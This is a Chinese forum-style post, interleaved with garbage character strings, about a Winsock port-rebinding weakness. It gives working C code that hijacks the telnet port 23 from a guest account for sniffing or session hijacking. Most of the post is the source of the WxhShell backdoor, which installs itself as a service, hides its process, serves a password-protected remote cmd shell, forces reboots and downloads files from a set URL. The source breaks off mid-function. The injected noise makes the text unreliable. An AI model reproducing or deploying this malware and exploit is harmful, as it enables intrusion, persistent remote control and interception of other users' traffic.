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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P7/X|M z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M\Kx'N m`r(p" saddr.sin_family = AF_INET; 3=ymm^ u> 7=AlWF- saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9'q*:&qq <Q?F?.^e bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UFuX@Lu0 $iz|\m 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _:27]K: 5/Uy{Xt 这意味着什么?意味着可以进行如下的攻击: !%0 *z Ma"]PoP 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #Mw8^FST "snw4if 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @F*%9LPv AYx{U?0p 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )K pyvSwD5t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 %84rL?S h.t-`k7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E< fV Z, a:6m7U)P#5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Tnm.A? M =r)I~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5XBH$&Td Ph>%7M% #include +srGN5! #include ')3
bl3: #include gB'6`' #include Q'0d~6n&{ DWORD WINAPI ClientThread(LPVOID lpParam); 6NHX2Ja int main() &.?'i1! { n.(FQx.F WORD wVersionRequested; @MCg%Afw DWORD ret; g}',(tPMZ WSADATA wsaData; K(Bf2Mfq BOOL val; tZG:Pr1U@ SOCKADDR_IN saddr; z' >_Mc6 SOCKADDR_IN scaddr; n6a`;0f[R int err; HC,Se.VYS SOCKET s; [IhYh<i SOCKET sc; Ek]'km! int caddsize; )+ 2hl HANDLE mt; Jg|XH
L) DWORD tid; d-dEQKI?; wVersionRequested = MAKEWORD( 2, 2 ); N<injx err = WSAStartup( wVersionRequested, &wsaData ); R*2E/8Ia if ( err != 0 ) { \P`hq^; printf("error!WSAStartup failed!\n"); <W $mj04@ return -1; Z?m3~L9L2 } `+Q%oj#FF saddr.sin_family = AF_INET; ]GQG~H^ Q$@I"V&G. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9zy!Fq ZExlGC saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TbW38\>.R saddr.sin_port = htons(23); jtc]>]6i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NHZz _a= { s,&Z=zt0R printf("error!socket failed!\n"); JnM["Q=` return -1; '(|ofJe! } _zi| val = TRUE; .ctw2x5W //SO_REUSEADDR选项就是可以实现端口重绑定的 B,epzI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5]Y?m' { 7%eK37@u printf("error!setsockopt failed!\n"); YteO6A;
return -1; Z}Ft:7 } %Y*Ndt 4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Fy-t T]Q9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j HJ`,# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?+}_1x` YglmX"fLf if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <B6H. P = { dVT$ VQg ret=GetLastError(); @QP z#- printf("error!bind failed!\n"); M:B=\&.O return -1; 338k?nHxv } n8ZZ#}Nhg listen(s,2); q'Tf,a while(1) _.Uh)-yR { %aVq+kC h caddsize = sizeof(scaddr); x-&@wMqkc //接受连接请求 'kO!^6=4M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lp%pbx43s if(sc!=INVALID_SOCKET) PBTnIU { CN8Y\<Ar mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *mvlb
(' & if(mt==NULL) t=W}SH { mSl.mi(JiZ printf("Thread Creat Failed!\n"); Trz@~d/[,n break; |imM#wF } hy"\RW } 0[?Xxk}s0 CloseHandle(mt); ?QdWrE_
} aQ\$A`? closesocket(s); :(*V?WI WSACleanup(); K:#I return 0; a'yK~;+_9 } ML56k~"BL DWORD WINAPI ClientThread(LPVOID lpParam) dk4CpN { VY=jc~c]v SOCKET ss = (SOCKET)lpParam; h^(*Tv-! SOCKET sc; dn$!& unsigned char buf[4096]; z/2//mM SOCKADDR_IN saddr; A0 C,tVd long num; 3eAX.z`D DWORD val; >$/>#e~ DWORD ret; mLLDE;7|} //如果是隐藏端口应用的话,可以在此处加一些判断 ]:k/Y$O2 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 C7ScS"~ saddr.sin_family = AF_INET; 84zSK)=Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B!L{ saddr.sin_port = htons(23); rlSeu5X6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <
!C)x { ['tY4$L( printf("error!socket failed!\n"); SP_75BJ return -1; R=2FNP } 6HWE~`ok6 val = 100; `%"\@< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #r~# I}U { (2E\p ret = GetLastError(); '/p/8V.O. return -1; .:%0E`E } Zaf:fsj> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jZkcBIK2 { FxWS V| Z ret = GetLastError(); ?_9 return -1; ,CcV/K } >7T'OC if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h_3E)jc { 0#Y5_i|p printf("error!socket connect failed!\n"); a:OQGhc= closesocket(sc); ~1AgD-:Jz closesocket(ss); `MN4uC return -1; ,77d(bR< } _FU_Ubkr while(1) $AjHbU.I{ { Ed df2;-. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?(F6#"/E //如果是嗅探内容的话,可以再此处进行内容分析和记录 <7Or{:Sc90 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cO+qs[
BQ num = recv(ss,buf,4096,0); k&vz7Q`T if(num>0) 2,b(,3{`4: send(sc,buf,num,0); BLf>_bUk else if(num==0) DGn;m\B break; ;~ $'2f~U num = recv(sc,buf,4096,0); tOd&!HYL if(num>0) -4IE]'## send(ss,buf,num,0); .K2qXw"S# else if(num==0) ;LPfXpR break; ^Hnb}L } CMG&7(MR closesocket(ss);
#3@rS closesocket(sc); g-</ua(j return 0 ; DIfaVo/" } ^]0Pfna+N :tB1D@Cb6 c&?m>2^6 ========================================================== /}fHt^2H 8hz^%vm 下边附上一个代码,,WXhSHELL G kl71VX %i9E @EV ========================================================== GxI!{oi2 U}e!Wjrc #include "stdafx.h" PI:4m%[ 17[3/m8a #include <stdio.h> CR`Q#Yi #include <string.h> RYQR(v #include <windows.h> t?-n*9,#S #include <winsock2.h> BB!THj69a6 #include <winsvc.h> j<99FW"@e #include <urlmon.h> fo#fg8zX% BxWPC#5
#pragma comment (lib, "Ws2_32.lib") vkx7paY_ #pragma comment (lib, "urlmon.lib") n,V[eW#m'L c"n\cNP< #define MAX_USER 100 // 最大客户端连接数 M4oy #define BUF_SOCK 200 // sock buffer r?lf($D* #define KEY_BUFF 255 // 输入 buffer "fCu=@i p;59? #define REBOOT 0 // 重启 y^,1a[U. #define SHUTDOWN 1 // 关机 0y" $MC v 2G67NC?+ #define DEF_PORT 5000 // 监听端口 ~ Ei $nV Jr
,;>
#define REG_LEN 16 // 注册表键长度 a}BYov #define SVC_LEN 80 // NT服务名长度 7$vYo
_ Pw7]r<Q // 从dll定义API ,.83m%i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hk(ZM#Bh typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hl7bzKO*w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i&Tbz! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b9KP( _ 1MP~dRZ$ // wxhshell配置信息 ?cBwPetp struct WSCFG { G~^r)fm_ int ws_port; // 监听端口 ]Yn D char ws_passstr[REG_LEN]; // 口令 QuF:p int ws_autoins; // 安装标记, 1=yes 0=no 5,Jp[bw{H{ char ws_regname[REG_LEN]; // 注册表键名 UqFO|r"M char ws_svcname[REG_LEN]; // 服务名 )BZ.Sv char ws_svcdisp[SVC_LEN]; // 服务显示名 dh`K`b4I char ws_svcdesc[SVC_LEN]; // 服务描述信息 n/;WxnnQ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uB]7G0g: int ws_downexe; // 下载执行标记, 1=yes 0=no ??-[eB. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" <y2U3;t char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zw
26 n71r_S* }; Gv!2f DbBcQ% // default Wxhshell configuration 1y4|{7bb struct WSCFG wscfg={DEF_PORT, :}L[sl\R "xuhuanlingzhe", 'Vzp2 1, ="1Ind@w!
"Wxhshell", 0rQMLx "Wxhshell", >a!/QMh "WxhShell Service", m)ky*"( "Wrsky Windows CmdShell Service", v+W&9> "Please Input Your Password: ", qTRsZz@ 1, Maha$n* " http://www.wrsky.com/wxhshell.exe", 2@n{yYwy "Wxhshell.exe" lK?uXr7^ }; .9/hHCp Avge eJi // 消息定义模块 <prk8jSWV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YquI $PV _ char *msg_ws_prompt="\n\r? for help\n\r#>"; *<$*"p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; (+w*[qHe char *msg_ws_ext="\n\rExit."; J|W<; char *msg_ws_end="\n\rQuit."; }kw#7m54 char *msg_ws_boot="\n\rReboot..."; 9@SC}AF. char *msg_ws_poff="\n\rShutdown..."; >2y':fO char *msg_ws_down="\n\rSave to "; sNbxI|B a(m2n.0'> char *msg_ws_err="\n\rErr!"; 8 `v-<J char *msg_ws_ok="\n\rOK!"; sf:,qD=z poc`q5i+ char ExeFile[MAX_PATH]; f$o_e90mu int nUser = 0; $f$SNx)), HANDLE handles[MAX_USER]; z{%<<pZ int OsIsNt; J@/kIrx E'f{i:O"~ SERVICE_STATUS serviceStatus; WJ]T\DI SERVICE_STATUS_HANDLE hServiceStatusHandle; =ke2;}X U"~>jZKk // 函数声明 77 Q5d"sIi int Install(void); k`cfG\;r int Uninstall(void); [@_Jj3`4 int DownloadFile(char *sURL, SOCKET wsh); "-E\[@/ int Boot(int flag); =?5]()'*n void HideProc(void); b.OsiT;_j int GetOsVer(void); h<h%*av|
int Wxhshell(SOCKET wsl); (Nq=H)cm8 void TalkWithClient(void *cs); p
.%]Q*8 int CmdShell(SOCKET sock); #]-SJWf3 int StartFromService(void); ;'gWu int StartWxhshell(LPSTR lpCmdLine); xW+6qtG` 9V a}I- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mwO6g~@` VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^23~ZHu m%0p\Y-/ // 数据结构和表定义 I<DL=V SERVICE_TABLE_ENTRY DispatchTable[] = 7:e{;iG { b8H{8{wi| {wscfg.ws_svcname, NTServiceMain}, 5G}?fSQ> {NULL, NULL} Q1lyj7c#x }; uIY#e<)}G 2V]UJ< // 自我安装 [=C6U_vU int Install(void) ; cNv\t { //B&k`u char svExeFile[MAX_PATH]; g%o(+d HKEY key; 2y75 strcpy(svExeFile,ExeFile); ]43/`FX />C^WQI^ // 如果是win9x系统,修改注册表设为自启动 rDtY[ if(!OsIsNt) { JhYe6y[q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c&6I[R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n>z9K') RegCloseKey(key); VCYwzB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #-rH1h3*q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "> ypIR< RegCloseKey(key); =<C:d return 0; 50h!
X9 } /*~EO{o } Q) #B0NA;T } _1X!EH" else { '$Dn je\Ph5 " // 如果是NT以上系统,安装为系统服务 E#RDqL*J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y`iBFC;_ if (schSCManager!=0) y
G~?MEh{ { [>3./YH` SC_HANDLE schService = CreateService !"e5h`/ADM ( =}^9 wP schSCManager, _`$qBw.Nx wscfg.ws_svcname, KRbvj wscfg.ws_svcdisp, KM0ru SERVICE_ALL_ACCESS, wo}H'Q}Hj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g9pZ\$J& SERVICE_AUTO_START, .<?GS{6
N SERVICE_ERROR_NORMAL, *"2+B&Y svExeFile, t,Lrfv]) NULL, M7\szv\Zc= NULL, LrfVh-}|:Y NULL, FZQP%]FX NULL, 4KAZ ': NULL ]#<4vl\ ); z
kP_6T09 if (schService!=0) G't$Qx,IC { je-!4r, CloseServiceHandle(schService); }Bh8=F3O
Q CloseServiceHandle(schSCManager); HWAdhDZ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gaxsv[W>^ strcat(svExeFile,wscfg.ws_svcname); F;EwQjTF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P:S .~Jq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uc{Ihw RegCloseKey(key); g/_5unI}u return 0; !TH)
+zi } XW H5d-
} QZwNw;$k* CloseServiceHandle(schSCManager); hag$GX'2k } c]-<vkpV } Ny7 S y7 cl_ rK return 1; /<k/7TF` } #zy:a% Wb_J(!da // 自我卸载 @;4zrzQi7 int Uninstall(void) EWt[z.`T1 { bs&43Ae HKEY key; n6>#/eUH ]c*4J\s if(!OsIsNt) { l'1pw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8`{:MkXP RegDeleteValue(key,wscfg.ws_regname); 3`?7<YJ RegCloseKey(key); 7z,C}-q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q\vpqE!9 RegDeleteValue(key,wscfg.ws_regname); zI uJ-8T" RegCloseKey(key); !F-w3
] return 0; [DOckf oZx } 'oVx#w^mf } n&/
` }
l&zilVVm else { ?UR0:f:}oc Z\rwO>3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h"W,WxL8 if (schSCManager!=0) gVuFHHeUz { %2{ye
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Yh7t"=o if (schService!=0) R\f+SvE { lVa%$F{Pq if(DeleteService(schService)!=0) { y.k~Y0 CloseServiceHandle(schService); M3y NAN CloseServiceHandle(schSCManager); Y@iS_lR return 0; ; 2#y7! } _f,C[C[e& CloseServiceHandle(schService); BlO<PMmhT& } kZ:ZtE CloseServiceHandle(schSCManager); WU`
rh^ } Fo_sgv8O< } 0+ '&`Q!u $PPi5f}HD return 1; u=s p`%? } ^ytrK
Q w9imKVry // 从指定url下载文件 5qm`J,~k int DownloadFile(char *sURL, SOCKET wsh) e*C(q~PQ { *&W"bOMH* HRESULT hr; N+xP26D8 char seps[]= "/"; L*+@>3mu) char *token; jr."I+ char *file; 'H!Uh]! char myURL[MAX_PATH]; P@B] char myFILE[MAX_PATH]; x9g#<2w8 X_h}J=33Q strcpy(myURL,sURL); cT,sh~-x, token=strtok(myURL,seps); m(!FHPvN while(token!=NULL) Fxz"DZY6 { fr3d file=token; y%T_pTcU token=strtok(NULL,seps); kevrsV]/$ } /3T1U Gd=RyoJl GetCurrentDirectory(MAX_PATH,myFILE); VA5xp] strcat(myFILE, "\\"); GefTdO.& strcat(myFILE, file); oc`H}Wvn send(wsh,myFILE,strlen(myFILE),0); IJ"q~r$ send(wsh,"...",3,0); `^&OF uee hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PZ9I`P!C if(hr==S_OK) zF<R'XP return 0; 5;EvNu else bG#>uE J- return 1; ~>|ziHx %h@EP[\ } l_p2Riv GTd,n= // 系统电源模块 0l6.<-f{ int Boot(int flag) sgFEK[w.y { y6a3tG HANDLE hToken; ?@86P|19 TOKEN_PRIVILEGES tkp; /-s6<e! DmcZta8n] if(OsIsNt) { !,PWb3S OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `]aeI'[}R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\=o- tkp.PrivilegeCount = 1; q3`u1S7Z7 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K sCyFp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mE[y SrV if(flag==REBOOT) { X8\GzNE~R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q2>gU# return 0; F'Z,]b'st3 } 5zJq9\)d+ else { -\MG}5?! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Qb%J8juRf return 0; tJmTBsn } dr"1s-D4IQ } i#O SC5ZI else { lquLT6] if(flag==REBOOT) { naNghGQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sjj6q` return 0; Y-9I3?ar } .)3 <Q}> else { ^z\cyT%7t if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \. S/| return 0; F"kAkX>3} } iow"n$/ } -g<oS9 u&e~1?R return 1; FTldR;}( } fV~~J2IK @9:uqsL // win9x进程隐藏模块 3U}%2ARo_ void HideProc(void) BLFdHB.$T { l"]V6!-U YZ7.1`8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j1Ezf=N6` if ( hKernel != NULL ) ABkl%m6xf { zeRyL3fnmb pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8EY:tzw ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .]Z"C&"N] FreeLibrary(hKernel); )}vl\7= } @nf`Gw ; tp|d*7^i return; W3RT{\ } JS77M-Ac 9 $X- // 获取操作系统版本 S>{~nOYt-` int GetOsVer(void) [-&Zl(9& { =H~j,K OSVERSIONINFO winfo; N g,j# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5dg(e3T GetVersionEx(&winfo); adw2x pj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _B0L.eF return 1; Ss`LLq0LO else &{i{XcqH' return 0; @pxcpXCy } OJxl<Q=z nDW9NQ // 客户端句柄模块 ,0k;!YK int Wxhshell(SOCKET wsl)
bZ6+,J { > P)w?:k SOCKET wsh; oU/5 a>9~ struct sockaddr_in client; _G0x3 DWORD myID; ~5g ~;f[4 <uJ@:oWG7 while(nUser<MAX_USER) o(HbGHIP { pXUSLs int nSize=sizeof(client); @@%ataUSBT wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n*$ g]G$ if(wsh==INVALID_SOCKET) return 1; v2?ZQeHr_( 4R*,VR.K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u4j5w if(handles[nUser]==0) he4(hX^ closesocket(wsh); @.C2LIb else "]dI1 g_ nUser++; $C\BcKlmv } HV.t6@\}; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #F#%`Rv1 hQi2U return 0; =fbWz } 1qch]1
^G c:0L+OF}xY // 关闭 socket xwr8`?]y void CloseIt(SOCKET wsh) uc=B,3 { Qd-A.{[h closesocket(wsh); eJSxn1GW nUser--; IU[ [H# ExitThread(0); ;]iRk } liZxBs
:%i *Uh!>Iv; // 客户端请求句柄 g*Phv|kI void TalkWithClient(void *cs) :t[_:3@ { Rv=YFo[B P3%5?.S SOCKET wsh=(SOCKET)cs; O=lzT~G|4 char pwd[SVC_LEN]; nu^436MSOa char cmd[KEY_BUFF]; phK/ char chr[1]; VQs5"K" int i,j; :Al!1BJQ p 'k0#R$ while (nUser < MAX_USER) { ~?dI*BZ)] ;
KA~Z5x; if(wscfg.ws_passstr) { R/_&m$ZB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h 0|s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7P
T{lT //ZeroMemory(pwd,KEY_BUFF); ==B6qX8T i=0; b'y%n while(i<SVC_LEN) { No$3"4wk \^LFkp // 设置超时 vIvIfE fd_set FdRead; K@2),(z struct timeval TimeOut; }qUX=s
GG FD_ZERO(&FdRead); 8(De^H lO FD_SET(wsh,&FdRead); vX>)je5# TimeOut.tv_sec=8; IgzQr > TimeOut.tv_usec=0; Zfw,7am/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rA1._
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yu|>t4#GT WA qINLdX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Pf WG* pwd =chr[0]; 0J|3kY-n> if(chr[0]==0xd || chr[0]==0xa) { "4Nt\WQ pwd=0; XZf$K _F&M break; VUc%4U{Cti } K"6vXv4QO i++; {:s f7 } b>W%t Iv *<La // 如果是非法用户,关闭 socket r%_djUd if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gUlo]!$ } OI*H,Z" dr(*T send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =]t|];c% send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xvv6~ }k0_5S while(1) { Gt1U!dP txpgO1 ZeroMemory(cmd,KEY_BUFF); Z;i:]( \zY!qpX< // 自动支持客户端 telnet标准 > I?IPQB
j=0; a#4?cEy while(j<KEY_BUFF) { _#niyW+?~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a[C@ cmd[j]=chr[0]; Wzh`or if(chr[0]==0xa || chr[0]==0xd) { .8R@2c`}Cs cmd[j]=0; NUZl`fu1Z4 break; 8y L Y } -~0^P,yQ j++; q'DW~!>qX } ]'}L 1r QY/w // 下载文件 :]KAkhFkbb if(strstr(cmd,"http://")) { >j/w@Fj send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q?vlfZR`8 if(DownloadFile(cmd,wsh)) +2{Lh7Ks send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3$ pX else " x-j~u? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N['.BN } WJ#[LF!e else { @5FQX t# i#(H switch(cmd[0]) { nUO0Ce ]esC[r]PJ // 帮助 EwN}l case '?': { ;+%rw 2Z,B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pP_LR
ks} break; t_^4`dW` } UNYqft4 // 安装 Da|z"I
x case 'i': { }7Uoh(d if(Install()) ^!d3=}:0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); @C$]//; else hb$Ce'}N send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
s!J9|]o break; OXA7w.^ } dN q$} // 卸载 V0@=^Bls case 'r': { Vr}'.\$ if(Uninstall()) COlqcq'qAu send(wsh,msg_ws_err,strlen(msg_ws_err),0); ll^#JpT[S else -RwE%cr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zCZf%ATq break; m0wDX*Qn } ye&;(30Oq // 显示 wxhshell 所在路径 ~ljXzD93Z case 'p': { o/E >f_k[ char svExeFile[MAX_PATH]; 1}x%%RD_ strcpy(svExeFile,"\n\r"); afVT~Sf{ strcat(svExeFile,ExeFile); 0mE 0 j send(wsh,svExeFile,strlen(svExeFile),0); x5Bk/e' break; us-L]S+lm } |Cv!,]9:r // 重启 ah "o~Cbj case 'b': { 7!1S)dup send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Txu/{M, if(Boot(REBOOT)) y29m/i: send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5pX6t else { 3";q[&F9y closesocket(wsh); dysS9a, ExitThread(0); wwqEl( } hN_]6,<\ break; &oNAv-m^GD } 2?C)& // 关机 )%TmAaj9d case 'd': { 6tZI["\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~N4m1s" if(Boot(SHUTDOWN)) ~%oR[B7=| send(wsh,msg_ws_err,strlen(msg_ws_err),0); P55fL-vo|} else { Uo49*Mr closesocket(wsh); :FF=a3/"6 ExitThread(0); %#+Hl0,Tt } T{"(\X$ break; )X7A } Z+SRXKQ // 获取shell :RYTL'hes case 's': { sW$XH1Uf# CmdShell(wsh); crCJrN= closesocket(wsh); [[ZJ]^n, ExitThread(0); ]e3Ax(i) break; 3|7QUld } 4i bc // 退出 $b\P|#A case 'x': { bt *k.=p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _F{C\} CloseIt(wsh); =N@t'fOr break; *hrd5na } L];b<*d // 离开 U*:!W=XN case 'q': { p_ =z# send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0:+E-^X closesocket(wsh); J,G
lIv.A WSACleanup(); B!yr!DWv exit(1); e!`i3KYn" break;
lr?;*f^3
} K,]=6Rj } Vi}_{
Cy } V :eD]zq5 b-y // 提示信息 ]4{H+rw if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fVwUe _Y } Y7nvHU|+o } *I'yH8Fcn h![#;>( return; >7r!~+B"9' } \9d$@V "KlwA.7/ // shell模块句柄 5;S.H#YOpO int CmdShell(SOCKET sock) ':W[ A { P4?glh q# STARTUPINFO si; BHw, 4#F1; ZeroMemory(&si,sizeof(si)); 5r_|yu si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aT<q=DO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "j-CZ\]U| PROCESS_INFORMATION ProcessInfo; C?Ucu]cW char cmdline[]="cmd"; 7KPwQ?SjT CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &{RDM~ return 0; 2%>FR4a } {)"vN(mX R4@6G&2d> // 自身启动模式 +3`alHUK int StartFromService(void) ':}\4j&{E { ExM,g' 7 typedef struct OH"XrCX7n { 8[>zG2 DWORD ExitStatus; P&q7|ST%N DWORD PebBaseAddress; o.\oA6P_ DWORD AffinityMask; 8] ikygt" DWORD BasePriority; ?}7p"3j'z ULONG UniqueProcessId; >{Tm##@,k ULONG InheritedFromUniqueProcessId; *qMY22X } PROCESS_BASIC_INFORMATION; s79r@])= b[7]F PROCNTQSIP NtQueryInformationProcess; 1U\z5$V 8V(pugJ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `"~%bS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4fzZ;2sl} c"Sq~X HANDLE hProcess; |)81Lz PROCESS_BASIC_INFORMATION pbi; "\=U)CJ W%)Y#C HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tl].r|yl if(NULL == hInst ) return 0; fX+O[j '\GbmD^F g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rh |nP&6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 